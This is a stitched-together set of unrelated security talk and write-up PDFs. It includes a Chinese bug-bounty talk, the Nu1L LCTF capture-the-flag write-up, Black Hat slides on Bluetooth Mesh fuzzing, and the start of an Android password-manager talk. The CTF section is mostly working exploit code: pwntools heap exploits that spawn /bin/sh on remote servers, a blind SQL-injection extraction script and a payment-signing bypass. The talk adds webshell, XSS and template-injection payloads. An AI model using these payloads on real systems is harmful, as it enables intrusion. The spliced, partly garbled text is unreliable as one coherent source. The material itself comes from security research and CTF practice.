www.facebooksuppliers.com
認命做苦工活QQ
Facebook Remote Code Execution
• 從過往紀錄感覺打得進
拿到 VM
解 ionCube
剩下就是你們的事了
• 拿 Shell
OR 1=1 LIMIT 1 INTO OUTFILE '...' LINES TERMINTATED by
0x3c3f... #
• 拿 Root
有新功能要上怎麼辦?
給用戶一個更新按鈕
不想重造輪子有什麼現有的更新方案?
Yum install
Yum install 權限不夠怎麼辦?
加 Sudoers
網頁執行要輸入密碼怎麼辦?
加 NOPASSWD
認命做苦工活QQ
Facebook Remote Code Execution
認命做苦工活QQ
Facebook Remote Code Execution
認命做苦工活QQ
Facebook Remote Code Execution
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
• Google Hacking
site:*.apple.com –www -developer -...
http://lookup-api.apple.com/wikipedia.org/
平行權限與邏輯問題
Apple XSS
• lookup-api.apple.com/wikipedia.org
# ok
• lookup-api.apple.com/orange.tw
# failed
• lookup-api.apple.com/en.wikipedia.org
# ok
• lookup-api.apple.com/ja.Wikipedia.org
# ok
平行權限與邏輯問題
Apple XSS
• 難道這段扣錯了嗎?
if (preg_match("/.wikipedia.org$/", $parsed_url['host']))
// do proxy
else
// goto fail
平行權限與邏輯問題
Apple XSS
花 NT$720 有個 XSS
好像不賴XD
平行權限與邏輯問題
Apple XSS
平行權限與邏輯問題
Apple XSS
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
少見姿勢與神思路
• 針對架構的了解
• 非主流的漏洞, 越少人知道的東西越有搞頭
• 思路的培養
CTF (Capture the Flag)
其他獎金獵人的 Write Ups
對新技術的追逐
跨界
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
• 忘記密碼 -> 在某個找回密碼流程中出現的頁面
http://abs.apple.com/ssurvey/thankyou.action
• 那時網路意識不高
Jboss, Tomcat, WebObjects 愛用者
掃到一堆 /CVS/
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
• Struts2 漏洞在 2012 年根本沒啥人知道
• Google Trend of Struts2
?
?
Apple RCE
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
發現的經典模式
發現的經典模式是:
「你尋找你知道的東西(比如到達印度的新方法)
結果發現了一個你不知道的東西(美洲)」
• 掃 OO 廠商範圍時發現一個 IP
怎麼判斷 IP 是不是屬於 OO 廠商? 看憑證
• 進去發現是某國外大廠寫的 OO 系統
Struts2 撰寫
Full Updated
No more s2-0xx
少見姿勢與神思路
某大廠商 XSS 0-Day 發現經過
• 思路:
Struts2 撰寫 action 都需繼承 ActionSupport
因此要判斷一個網站是不是 Struts2 所撰寫只要在尾巴加
個 ?actionErrors=1 即可
/whatever.action?actionErrors=<svg/onload=alert(1)>
public void setActionErrors(Collection<String> errorMessages) {
validationAware.setActionErrors(errorMessages);
}
少見姿勢與神思路
某大廠商 XSS 0-Day 發現經過
少見姿勢與神思路
某大廠商 XSS 0-Day 發現經過
• 思路:
Struts2 撰寫 action 都需繼承 ActionSupport
因此要判斷一個網站是不是 Struts2 所撰寫只要在尾巴加
個 ?actionErrors=1 即可
/whatever.action?actionErrors=<svg/onload=alert(1)>
public void setActionErrors(Collection<String> errorMessages) {
validationAware.setActionErrors(errorMessages);
}
One more things...
如果被過濾怎麼辦?
Thanks for AngularJS
{{'a'.constructor.prototype.charAt=[].join;
$eval('x=1} } };alert(1)//');}}
• Template 相關攻擊手法是近幾年比較夯的東西, 但較少人關注
Client Side Template Injection
Server Side Template Injection
• Uber 在自身技術部落格有提到產品技術細節
主要是 NodeJS 與 Flask
少了做指紋辨識的時間
少見姿勢與神思路
Uber SSTI RCE
• riders.uber.com
修改姓名使用等到寄信通知帳號變更
Cheng Da{{ 1+1 }}
少見姿勢與神思路
Uber SSTI RCE
• Python S andbox Bypass
{{ [].__class__.__base__.__subclasses__() }}
Hi, [<type 'type'>, <type 'weakref'>,
<type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>,
..., <class 'upi.sqlalchemy.UberAPIModel'>, ...
..., <class 'celery.worker.job.Request'>, ... ]
• Asynchronous Task
Template( "Hi, %s ..." % get_name_from_db() )
少見姿勢與神思路
Uber SSTI RCE
少見姿勢與神思路
Uber SSTI RCE
• Python S andbox Bypass
{{ [].__class__.__base__.__subclasses__() }}
Hi, [<type 'type'>, <type 'weakref'>,
<type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>,
..., <class 'upi.sqlalchemy.UberAPIModel'>, ...
..., <class 'celery.worker.job.Request'>, ... ]
• Asynchronous Task
Template( "Hi, %s ..." % get_name_from_db() )
結語
• 一起成為獎金獵人吧 !
• 勿驕矜自滿, 勿忘初衷
• Organizing Your Know-How, Building Your Own Tool
閱讀資源
Google Bughunter University
Bugcrowd
List Of Bug Bounty Programs
Hackerone
Hacktivity
Xsses.com
Facebook Bug Bounties by @phwd
Wooyun.org
Thank you
[email protected]
blog.orange.tw | pdf |
LCTF-Writeup
by Nu1L
Web
L PLAYGROUND
djdemourlssrffuzz6379
redis
nginx/static../
pycflagsessiondata
sessionidsessiondataflag
linux0fuzz0:8000CRLF
redisseturlvps302sessiondata
append
Simple blog
swpivcbcsprintf
http://211.159.161.162/test.php?
submit=%E6%8F%90%E4%BA%A4&site=file%3A%2F%2Fwww.baidu.com%2F/home/lctf/flag%23
www.baidu.comlocalhost…host
preg_matchphp
phpphp config.php base64flag
Pwn
Shopping?
removeitem nameUAF
import requests
dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._@,
{}*&^$#!=-'
table_name=''
for i in range(1,200):
for j in dic:
cookiess=
{"PHPSESSID":"3k9s8s0iv6dn3gq7gpaime69a7","token":"VEdsdVRKQnF5aFdCYzR3bw%3
D%3D"}
url ="http://111.231.111.54/admin.php?
title=%1$'%20or(if((ascii(mid((select%20`f14g`%20from%20`key`),"+str(i)+",1
)))="+str(ord(j))+",0,1)=1)%23&id=1"
resp = requests.get(url, cookies=cookiess,headers={'Content-
Type':'application/x-www-form-urlencoded'})
if 'exist.' in resp.content:
table_name += j
print table_name
break
from pwn import *
LOCAL = 0
DEBUG = 0
VERBOSE = 0
context.arch = 'amd64'
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./shopping')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if DEBUG:
gdb.attach(io)
else:
io = remote('111.231.13.178', 20002)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def look(choice1, choice2, remark, msg=None):
io.recvuntil('your choice: ')
io.sendline('1')
io.recvuntil('[n] back\n: ')
io.sendline(choice1)
io.recvuntil('? ')
io.sendline(choice2)
io.recvuntil(': ')
io.send(remark)
if msg:
io.recvuntil('?\n')
io.send(msg)
io.recvuntil('? ')
io.sendline('n')
io.recvuntil('[n] back\n: ')
io.sendline('n')
def remove(name):
io.recvuntil('your choice: ')
io.sendline('2')
io.recvuntil('? ')
io.send(name)
for i in range(5):
look('a', 'A', '1\n')
for i in range(3):
look('a', 'A', '2\n')
io.recvuntil('your choice: ')
io.sendline('1')
io.recvuntil('[n] back\n: ')
io.sendline('a')
for i in range(91):
io.recvuntil('Which book? ')
io.sendline('A')
io.recvuntil('remark: ')
io.send('3\n')
2ez4u
delflageditshowUAF
io.recvuntil('? ')
io.sendline('n')
io.recvuntil('[n] back\n: ')
io.sendline('n')
remove('1\n')
look('e', 'A', '4\n', 'A' * 208 + p64(0x0000000000400820) + '\n')
look('e', 'A', '4\n', 'A' * 208 + p64(0x0000000000400820) + '\n')
io.recvuntil('your choice: ')
io.sendline('3')
io.recvuntil('\n')
io.recvuntil('\n')
io.recvuntil('\n')
leak_libc_addr = u64(io.recvuntil('\n')[:-1] + '\x00' * 2)
libc_addr = leak_libc_addr - (0x7f5615fc7b78 - 0x7f5615c03000)
system_addr = libc_addr + libc.symbols['system']
log.info('leak_libc_addr:%#x' % leak_libc_addr)
log.info('libc_addr:%#x' % libc_addr)
remove('2\n')
look('e', 'A', '4\n', '/bin/sh\x00'.ljust(208, 'A') + p64(system_addr) +
'\n')
io.recvuntil('your choice: ')
io.sendline('3')
io.interactive()
from pwn import *
LOCAL = 0
DEBUG = 0
VERBOSE = 0
context.arch = 'amd64'
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./2ez4u')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if DEBUG:
gdb.attach(io)
else:
io = remote('111.231.13.27', 20001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(color, value, num, desc_len, desc):
io.recvuntil('your choice: ')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline(str(color))
io.recvuntil('value?(0-999):')
io.sendline(str(value))
io.recvuntil('num?(0-16):')
io.sendline(str(num))
io.recvuntil('description length?(1-1024):')
io.sendline(str(desc_len))
io.recvuntil('description of the apple:')
io.send(desc)
def delete(index):
io.recvuntil('your choice: ')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(index))
def edit(index, color, value, num, desc):
io.recvuntil('your choice: ')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(index))
io.recvuntil('color?(0:red, 1:green):')
io.sendline(str(color))
io.recvuntil('value?(0-999):')
io.sendline(str(value))
io.recvuntil('num?(0-16):')
io.sendline(str(num))
io.recvuntil('new description of the apple:')
io.send(desc)
def show(index):
io.recvuntil('your choice: ')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(index))
add(1, 1, 1, 0x80, 'A\n')
add(1, 1, 1, 0x80, 'B\n')
add(1, 1, 1, 0x80, 'C\n')
add(1, 1, 1, 0x80, 'D\n')
add(1, 1, 1, 0x80, 'E\n')
delete(0)
delete(1)
add(1, 1, 1, 0x90, 'A\n')
show(1)
io.recvuntil('description:')
leak_libc_addr = u64(io.recvuntil('\n')[:-1] + '\x00' * 2)
libc_addr = leak_libc_addr - (0x7fb3e4f16b78 - 0x7fb3e4b52000)
log.info('leak_libc_addr:%#x' % leak_libc_addr)
log.info('libc_addr:%#x' % libc_addr)
delete(3)
show(1)
io.recvuntil('description:')
leak_heap_addr = u64(io.recvuntil('\n')[:-1] + '\x00' * 2)
heap_base = leak_heap_addr - (0x55cfd5d3e1e0 - 0x55cfd5d3e000)
log.info('leak_heap_addr:%#x' % leak_heap_addr)
log.info('heap_base:%#x' % heap_base)
delete(4)
delete(2)
delete(0)
add(1, 1, 1, 0x10, 'A\n')
add(1, 1, 1, 0x3F0, 'A\n')
add(1, 1, 1, 0x3F0, 'A\n')
add(1, 1, 1, 0x3F0, 'A\n')
delete(0)
delete(3)
add(1, 2, 2, 0x3d0, 'A\n')
payload = '\x00' * 0x3d0 + '\xc1\x03'
edit(3, 1, 1, 1, payload + '\n')
add(1, 1, 1, 0x3F0, 'B\n')
add(1, 1, 1, 0x10, 'C\n')
add(1, 1, 1, 0x300, 'D\n')
delete(4)
delete(5)
add(1, 3, 3, 0x100, 'E\n')
system_addr = libc_addr + libc.symbols['system']
io_list_all = libc_addr + libc.symbols['_IO_list_all']
vtable_addr = heap_base + 0xe58
payload = 'A' * 0xf8
stream = "/bin/sh\x00" + p64(0x61) # fake file stream
stream += p64(0xddaa) + p64(io_list_all-0x10) # Unsortbin attack
stream = stream.ljust(0xa0,"\x00")
stream += p64(vtable_addr - 0x28)
stream = stream.ljust(0xc0,"\x00")
stream += p64(1)
payload += stream
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
toy
loadstoreoffsetOOB
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(system_addr)
edit(5, 1, 1, 1, payload + '\n')
add(1, 1, 1, 0x10, 'C\n')
io.recvuntil('your choice: ')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline(str(1))
io.recvuntil('value?(0-999):')
io.sendline(str(1))
io.recvuntil('num?(0-16):')
io.sendline(str(1))
io.recvuntil('description length?(1-1024):')
io.sendline(str(0x30))
io.interactive()
from pwn import *
LOCAL = 0
DEBUG = 0
VERBOSE = 0
context.arch = 'amd64'
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./toy')
if DEBUG:
gdb.attach(io)
else:
io = remote('111.231.19.153', 20003)
def op_new_string(reg, content):
return chr(48) + chr(reg) + p16(len(content)) + content
def new_string_func(reg, content):
return new_string(reg, content) + chr(114)
def op_call(offset):
return chr(115) + p16(offset)
def op_mov_reg_imm(reg, imm):
return chr(1) + chr(reg) + p16(imm)
def op_exit():
return chr(0)
def op_load(reg, offset_reg):
return chr(96) + chr(reg) + chr(offset_reg)
def op_store(reg, offset_reg):
return chr(97) + chr(reg) + chr(offset_reg)
def op_add(reg1, reg2, reg3):
return chr(33) + chr(reg1) + chr(reg2) + chr(reg3)
def op_inc(reg):
return chr(37) + chr(reg)
def op_sub(reg1, reg2, reg3):
return chr(34) + chr(reg1) + chr(reg2) + chr(reg3)
def loads(from_reg, temp_reg, to_reg, size):
bytecode = op_load(temp_reg, from_reg) + op_store(temp_reg, to_reg)
for i in range(size - 1):
bytecode += op_inc(from_reg) + op_inc(to_reg)
bytecode += op_load(temp_reg, from_reg) + op_store(temp_reg,
to_reg)
return bytecode
def stores(to_reg, temp_reg, content):
bytecode = op_mov_reg_imm(temp_reg, ord(content[0])) +
op_store(temp_reg, to_reg)
for i in range(len(content) - 1):
bytecode += op_inc(to_reg)
bytecode += op_mov_reg_imm(temp_reg, ord(content[i+1])) +
op_store(temp_reg, to_reg)
return bytecode
code = op_new_string(0, 'A'*0x100) + op_new_string(1, 'B'*0x10) +
op_new_string(2, 'C'*0x100) + op_new_string(3, 'D'*0x10)
code += op_mov_reg_imm(0, 0x8000) + op_mov_reg_imm(6, 0x8010) + op_add(0,
0, 6) + op_mov_reg_imm(5, 0x8000) + loads(0, 4, 5, 8)
code += op_mov_reg_imm(2, 0x8008) + op_add(2, 2, 6) + op_mov_reg_imm(5,
0x8008) + loads(2, 4, 5, 8) + op_new_string(7, 'A'*0x100) +
op_new_string(8, '\x00'*0x100)
code += op_mov_reg_imm(0, 0x8259) + op_add(0, 0, 6) + op_mov_reg_imm(2,
0xc) + op_store(2, 0)
code += op_new_string(9, 'E'*0x1000)
code += op_mov_reg_imm(0, 0x8000) + op_mov_reg_imm(2, 0x8010) + loads(0, 4,
2, 6)
code += op_mov_reg_imm(0, 0x8010) + op_load(2, 0) + op_mov_reg_imm(4, 0x78-
0x10) + op_sub(2, 2, 4) + op_store(2, 0)
code += op_mov_reg_imm(0, 0x8011) + op_load(2, 0) + op_mov_reg_imm(4, 0x85-
0x7b) + op_add(2, 2, 4) + op_store(2, 0)
code += op_mov_reg_imm(0, 0x8000) + op_load(2, 0) + op_mov_reg_imm(4, 0x90-
0x78) + op_add(2, 2, 4) + op_store(2, 0)
code += op_mov_reg_imm(0, 0x8001) + op_load(2, 0) + op_mov_reg_imm(4, 0x83-
0x7b) + op_add(2, 2, 4) + op_store(2, 0)
code += op_mov_reg_imm(0, 0x8002) + op_load(2, 0) + op_mov_reg_imm(4, 0xfd-
0x35) + op_add(2, 2, 4) + op_store(2, 0)
code += op_mov_reg_imm(0, 0x8000) + op_mov_reg_imm(2, 0x8158) + op_add(2,
2, 0) + loads(0, 4, 2, 6)
code += op_mov_reg_imm(0, 0x8008) + op_load(2, 0) + op_mov_reg_imm(4, 0x10)
+ op_add(2, 2, 4) + op_store(2, 0)
code += op_mov_reg_imm(0, 0x8008) + op_mov_reg_imm(2, 0x8018) + loads(0, 4,
2, 6)
code += op_mov_reg_imm(0, 0x8018) + op_load(2, 0) + op_mov_reg_imm(4, 0x28)
+ op_sub(2, 2, 4) + op_store(2, 0)
code += op_mov_reg_imm(0, 0x8000) + op_mov_reg_imm(2, 0x8260) + op_add(0,
0, 2) + stores(0, 4, '/bin/sh\x00')
code += op_mov_reg_imm(0, 0x8008) + op_mov_reg_imm(2, 0x8260) + op_add(0,
0, 2) + stores(0, 4, p16(0x61))
code += op_mov_reg_imm(0, 0x8010) + op_mov_reg_imm(2, 0x8260) + op_add(0,
0, 2) + stores(0, 4, p64(0xddaa))
code += op_mov_reg_imm(0, 0x8018) + op_mov_reg_imm(6, 0x8260) + op_add(0,
0, 6) + op_mov_reg_imm(5, 0x8010) + loads(5, 4, 0, 6)
code += op_mov_reg_imm(0, 0x80a0) + op_mov_reg_imm(6, 0x8260) + op_add(0,
0, 6) + op_mov_reg_imm(5, 0x8018) + loads(5, 4, 0, 6)
code += op_mov_reg_imm(0, 0x80c0) + op_mov_reg_imm(2, 0x8260) + op_add(0,
0, 2) + stores(0, 4, '\x01')
code += op_mov_reg_imm(0, 0x80d8) + op_mov_reg_imm(6, 0x8260) + op_add(0,
0, 6) + op_mov_reg_imm(5, 0x8008) + loads(5, 4, 0, 6)
code += op_mov_reg_imm(0, 0x80e0) + op_mov_reg_imm(2, 0x8260) + op_add(0,
0, 2) + stores(0, 4, '\x01')
code += op_mov_reg_imm(0, 0x80e8) + op_mov_reg_imm(2, 0x8260) + op_add(0,
0, 2) + stores(0, 4, '\x02')
code += op_mov_reg_imm(0, 0x80f0) + op_mov_reg_imm(2, 0x8260) + op_add(0,
0, 2) + stores(0, 4, '\x03')
code += chr(48) + chr(0) + p16(0x50-8-1)
code += op_exit()
readlineintshortint overflowintcopy
block
apporder
io.recvuntil('code size: ')
io.sendline(str(len(code)))
io.send(code)
io.interactive()
Re
use your IDA?
ctfB1Aip
angrflag
import requests
import hashlib
url1 = 'http://115.159.29.76/order.php'
url2 = 'http://115.159.29.76/pay.php'
header ={
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '97',
'Host': '115.159.29.76',
'Connection': 'Keep-Alive',
'Accept-Encoding': 'gzip',
'User-Agent': 'okhttp/3.4.2',
}
team = '548704b7dcd283442cd74d22ea8978d4'
i = 2147483647
sign1 = hashlib.md5(team).hexdigest()
order = str(i)
message = 'a'
res = requests.post(url=url1,headers = header,
data="message="+message+"&order="+order+"&teamtoken="+sign1).text
print res
recv_sign = res[res.index('sign='):]
recv_sign = recv_sign.replace("sign=","")
recv_sign = recv_sign.replace("\"","")
print recv_sign
para =
"message="+message+"&order="+order+"&teamtoken=a545047461f5ac1b2c30fe145e2c
5efc&sign="+recv_sign+"&signagain="
resign =
hashlib.md5('order="'+order+'"&teamtoken="a545047461f5ac1b2c30fe145e2c5efc"
&sign="'+recv_sign+'"').hexdigest()
para += resign
res = requests.post(url=url2,headers = header, data=para)
print res.status_code
print res.text
ce50010
1101
Misc
githubflag
import angr
p = angr.Project('/pzhxbz/Desktop/re/lctf/use_your_ida.exe',load_options=
{'auto_load_libs': False})
find = (0x401077,)
avoid = (0x401083,0x42F91A)
main = 0x413142
init = p.factory.blank_state(addr=main)
for i in range(24):
a = init.se.BVS('a', 8)
init.se.add(a > 32)
init.se.add(a < 127)
init.mem[init.regs.esp-28+i:].char = a
init.mem[0x43F322+i:].char = a
pgp = p.factory.path_group(init)
ex = pgp.explore(find=find, avoid=avoid)
print(ex)
s = ex.found[0].state
# flag = s.mem[s.regs.esp:s.regs.esp+0x50]
flag = s.se.any_str(s.memory.load(0x43F322, 100))
print flag | pdf |
#BHUSA @BlackHatEvents
BrokenMesh: New Attack
Surfaces of Bluetooth Mesh
Han Yan, Lewei Qu, Dongxiang Ke
Baidu AIoT Security Team
#BHUSA @BlackHatEvents
Information Classification: General
About US
Baidu AIoT Security Team
• Focus on Android / Linux platform
• Aim to discover 0day vulnerability and explore possible defenses
Members
• Han Yan
• Lewei Qu
• Dongxiang Ke
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• Introduction to Bluetooth Mesh
• Attack Surfaces Analysis
• BLE Mesh Fuzzer
• Case Study
• Summary
#BHUSA @BlackHatEvents
Information Classification: General
1 Introduction to Bluetooth Mesh
What is Bluetooth Mesh
• Aka, Bluetooth LE Mesh, BLE Mesh
• A wireless mesh networking technology based on BLE
• Made public by Bluetooth Special Interest Group (Bluetooth SIG) in 2017
Smart Home
Industrial IoT
#BHUSA @BlackHatEvents
Information Classification: General
Bluetooth Mesh vs Bluetooth Classic/LE
Key Differences
• Bluetooth Mesh is a networking technology, analogous to TCP/IP
• Bluetooth Classic/LE are wireless communication technologies
Network Layer in Protocol Stack
#BHUSA @BlackHatEvents
Information Classification: General
Network Topology
Node Type
• Node
• Relay node
• Low Power node
• Friend node
Managed Flooding
• Based on advertising
• Non-central
• Non-routing
#BHUSA @BlackHatEvents
Information Classification: General
Network Addresses
Address Type
Address Validity
Address Type
Values
Unassigned Address
16bits, 0b0000000000000000
Unicast Address
16bits, 0b0xxxxxxxxxxxxxxx
Virtual Address
16bits, 0b10xxxxxxxxxxxxxx
Group Address
16bits, 0x11xxxxxxxxxxxxxx
Address Type
Valid as SRC
Valid as DST
Unassigned Address
No
No
Unicast Address
Yes
Yes
Virtual Address
No
Yes
Group Address
No
Yes
#BHUSA @BlackHatEvents
Information Classification: General
Message-Oriented Communication
Publish
• Sending message
• Publish to a unicast / group / virtual address
Subscribe
• Receiving message
• Subscribe to a group / virtual address
Example
• Some lights subscribe to the group address “Kitchen” (e.g., 0xC001)
• Switch can publish “ON” message to “Kitchen”, to turn on those lights
#BHUSA @BlackHatEvents
Information Classification: General
2 Attack Surfaces Analysis
Research Scope
• Bluetooth mesh protocol, including two key stages
• Bluetooth mesh wrapper application
Research Focus
• Focus on software implementation vulnerabilities
1
2
3
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Protocol
Concepts
• Provisioning
• Provisioner
• Unprovisioned device
Procedure
• Beaconing
• Invitation & Capabilities
• Public Key Exchange
• Authentication
• Distribution of Provisioning Data
Wireshark
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Protocol
Protocol Stack
• All the provisioning messages follow this format
• Different messages have different data
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Attack Surfaces
When to Attack
• Before authentication
• No extra information required
What to Attack
• Segmentation and Reassembly
• General mechanism, memory operation
How to Attack
• Mismatched 𝑆𝑒𝑔𝑁 and 𝑇𝑜𝑡𝑎𝑙𝐿𝑒𝑛𝑔𝑡ℎ
• …
#BHUSA @BlackHatEvents
Information Classification: General
Bad Unprovisioned Device
Bad Provisioner
Network Build Attack Surfaces
Threat Model
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Protocol
Protocol Stack
• Layered Architecture
Wireshark
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Protocol
Security Features
• 𝑁𝑒𝑡𝐾𝑒𝑦
• 𝐴𝑝𝑝𝐾𝑒𝑦
If We Have..
• No keys, we can only know 𝐼𝑉𝐼, 𝑁𝐼𝐷 and 𝑁𝑒𝑡𝑀𝐼𝐶
• 𝑁𝑒𝑡𝐾𝑒𝑦, we can parse network & lower transport layer
• 𝑁𝑒𝑡𝐾𝑒𝑦 and 𝐴𝑝𝑝𝐾𝑒𝑦, we can parse the whole message
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Attack Surfaces
What to Attack
• Segmentation and Reassembly
• General mechanism
• Memory operation
• Only 𝑁𝑒𝑡𝐾𝑒𝑦 is required
How to Attack
• Inconsistent 𝑆𝑒𝑔𝑁
• 𝑆𝑒𝑔𝑂 > 𝑆𝑒𝑔𝑁
• …
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Attack Surfaces
Threat Model
#BHUSA @BlackHatEvents
Information Classification: General
Wrapper Application Attack Surfaces
Mesh in BlueDroid
• Android version ≥ 8.0
• Mesh capabilities are wrapped as AIDL service
What to Attack
• Permission restriction of AIDL service
• Memory operation in JNI & HAL layer
How to Attack
• Try unauthorized access to service
• Call service with malformed parameters
#BHUSA @BlackHatEvents
Information Classification: General
3 BLE Mesh Fuzzer
Overview
• “BLE Mesh Fuzzer”, a fuzzing tool for Bluetooth Mesh protocol
• Fuzzing both network build and network control stages
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Fuzzing
Test Case Generation
• Generate a series of segmented packets at once
• 𝑇𝑒𝑠𝑡𝐶𝑎𝑠𝑒 = {𝑃!"#, 𝑃!$#
%
, … , 𝑃!$#
& }
Sender / Receiver
• Build link, then send test case
• Wait for 𝐿𝑖𝑛𝑘 𝐶𝑙𝑜𝑠𝑒
Crash Detection
• “No 𝐿𝑖𝑛𝑘 𝐶𝑙𝑜𝑠𝑒” means crash
• A timer for each test case
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Fuzzing
Work Flow
Trigger Vulnerability
Not Trigger
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Fuzzing
Generation Strategy
• 𝑇𝑒𝑠𝑡𝐶𝑎𝑠𝑒 = {𝑃!"#, 𝑃!$#
%
, 𝑃!$#
'
, … , 𝑃!$#
& }
• Randomize packets count 𝑁 + 1
• Randomize 𝑆𝑒𝑔𝑁, 𝑇𝑜𝑡𝑎𝑙𝐿𝑒𝑛𝑔𝑡ℎ, and 𝐷𝑎𝑡𝑎 𝐿𝑒𝑛𝑔𝑡ℎ of Transaction Start PDU
• Randomize 𝑆𝑒𝑔𝑂 and 𝐷𝑎𝑡𝑎 𝐿𝑒𝑛𝑔𝑡ℎ of Transaction Continue PDUs
System Output
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Fuzzing
Test Case Generation
• Generate a series of segmented packets at once
• 𝑇𝑒𝑠𝑡𝐶𝑎𝑠𝑒 = {𝑃%, 𝑃', 𝑃(, … , 𝑃&}
Sender / Receiver
• Send both test case and probe
• Probe is a valid SAR packet
• Wait for prob 𝐴𝐶𝐾𝑠
Crash Detection
• Missing probe 𝐴𝐶𝐾 means crash
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Fuzzing
Work Flow
Trigger Vulnerability
Not Trigger
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Fuzzing
Generate Strategy
• 𝑇𝑒𝑠𝑡𝐶𝑎𝑠𝑒 = {𝑃%, 𝑃', 𝑃(, … , 𝑃&}
• Randomize packets count 𝑁
• Randomize 𝑆𝑒𝑔𝑁, 𝑆𝑒𝑔𝑂, 𝐷𝑎𝑡𝑎 𝐿𝑒𝑛𝑔𝑡ℎ and 𝐶𝑇𝐿
System Output
#BHUSA @BlackHatEvents
Information Classification: General
System Implementation
Hardware
• nRF52840 module + MacBook
Software
• SweynTooth Driver, customize BLE via Python
• Implemented protocol stack, based on Mesh spec
#BHUSA @BlackHatEvents
Information Classification: General
4 Case Study
Vulnerabilities (up to 2022.07.24)
• A total of 17 issues were found
• Covered 8 well-known vendors
• Obtained 13 CVEs
All the listed CVEs have been fixed by vendors
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Vulnerability
CVE-2022-24893
• Out-of-bound Write in network build stage
• Mismatched 𝑆𝑒𝑔𝑁 and 𝑇𝑜𝑡𝑎𝑙𝐿𝑒𝑛𝑔𝑡ℎ
#BHUSA @BlackHatEvents
Information Classification: General
Network Build Vulnerability
CVE-2022-24893 POC
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Vulnerability
CVE-2022-26527
• Out-of-bound Write in network control stage
• Inconsistent 𝑆𝑒𝑔𝑁
#BHUSA @BlackHatEvents
Information Classification: General
Network Control Vulnerability
CVE-2022-26527 POC
Hijack PC and R0
#BHUSA @BlackHatEvents
Information Classification: General
Wrapper Application Vulnerability
CVE-2022-20041
• Bluetooth Mesh Service permission leak
• Treat all foreground applications as permitted caller
#BHUSA @BlackHatEvents
Information Classification: General
Wrapper Application Vulnerability
CVE-2022-20027
• Stack overflow in Bluetooth Mesh JNI
• 𝑚𝑒𝑚𝑐𝑝𝑦 with no length check
#BHUSA @BlackHatEvents
Information Classification: General
5 Summary
Conclusion
• Memory corruption vulnerabilities are very likely to occur in SAR implementation
• Security of wrapper application, especially permission and native, also needs attention
• All the listed CVEs have been fixed by vendors
Future Work
• Feedback-driven fuzzing strategy
• Vulnerability mining at upper layers
• Attack surfaces exploration of GATT proxy protocol
#BHUSA @BlackHatEvents
Information Classification: General
Q&A
#BHUSA @BlackHatEvents
Information Classification: General
Thanks For Listening ! | pdf |
Bypassing Android
Password Manager Apps
Without Root
Stephan Huber, Siegfried Rasthofer, Steven Arzt
Fraunhofer SIT
2
3
Stephan
•
Mobile Security Researcher at
Fraunhofer SIT
•
Enjoys teaching students in
Android (app) hacking
•
Twitter: @teamsik
Siegfried
•
Head of Department Secure
Software Engineering at Fraunhofer
SIT
•
Founder of CodeInspect
•
Web: www.rasthofer.info
•
Twitter: @teamsik
Acknowledgements
• Benedikt Hiemenz
• Daniel Hitzel
• Daniel Magin
• Joseph Varghese
• Julien Hachenberger
• Max Kolhagen
• Michael Tröger
• Philipp Roskosch
• Wittmann Andreas
4
5
Wish
6
aim=e1Ioci Ohyoh>wae0 kei7Gae$si bei3coo<Li ooB,iu9AhN Phei0IeHa' uhu;j5ohTi
Phi,Phu3di Moo0ooz"oh we(u,t0Zas quucoo<d2I Pae?gh<ie3 loh;Bah4ei Wa[el~oh9i
ooh!ee7Aik AX1aeSh>ai eGah+K5iuM yae$V4leex ohjiu_Hei6 fee'Cho5Oo jahK3Ad+ai
oH)eewaec0 KiG&ee4ahy ujohj%ie1J wae,Gei6mu uSh=i2ahng ainai]Le2i Ieb~o5fohF
ohN\ah1gae Dooch\ei7i ich]a're1U aiToh5cee= eiZ2thaip; ni"W3oom?i oi(Sh7vie)
gu}i8Tohco il@ah@ve9U cie"tae8Eo Au&S3aigae eir0ieHo)c ohch/ah6Ii Bie*t9xie"
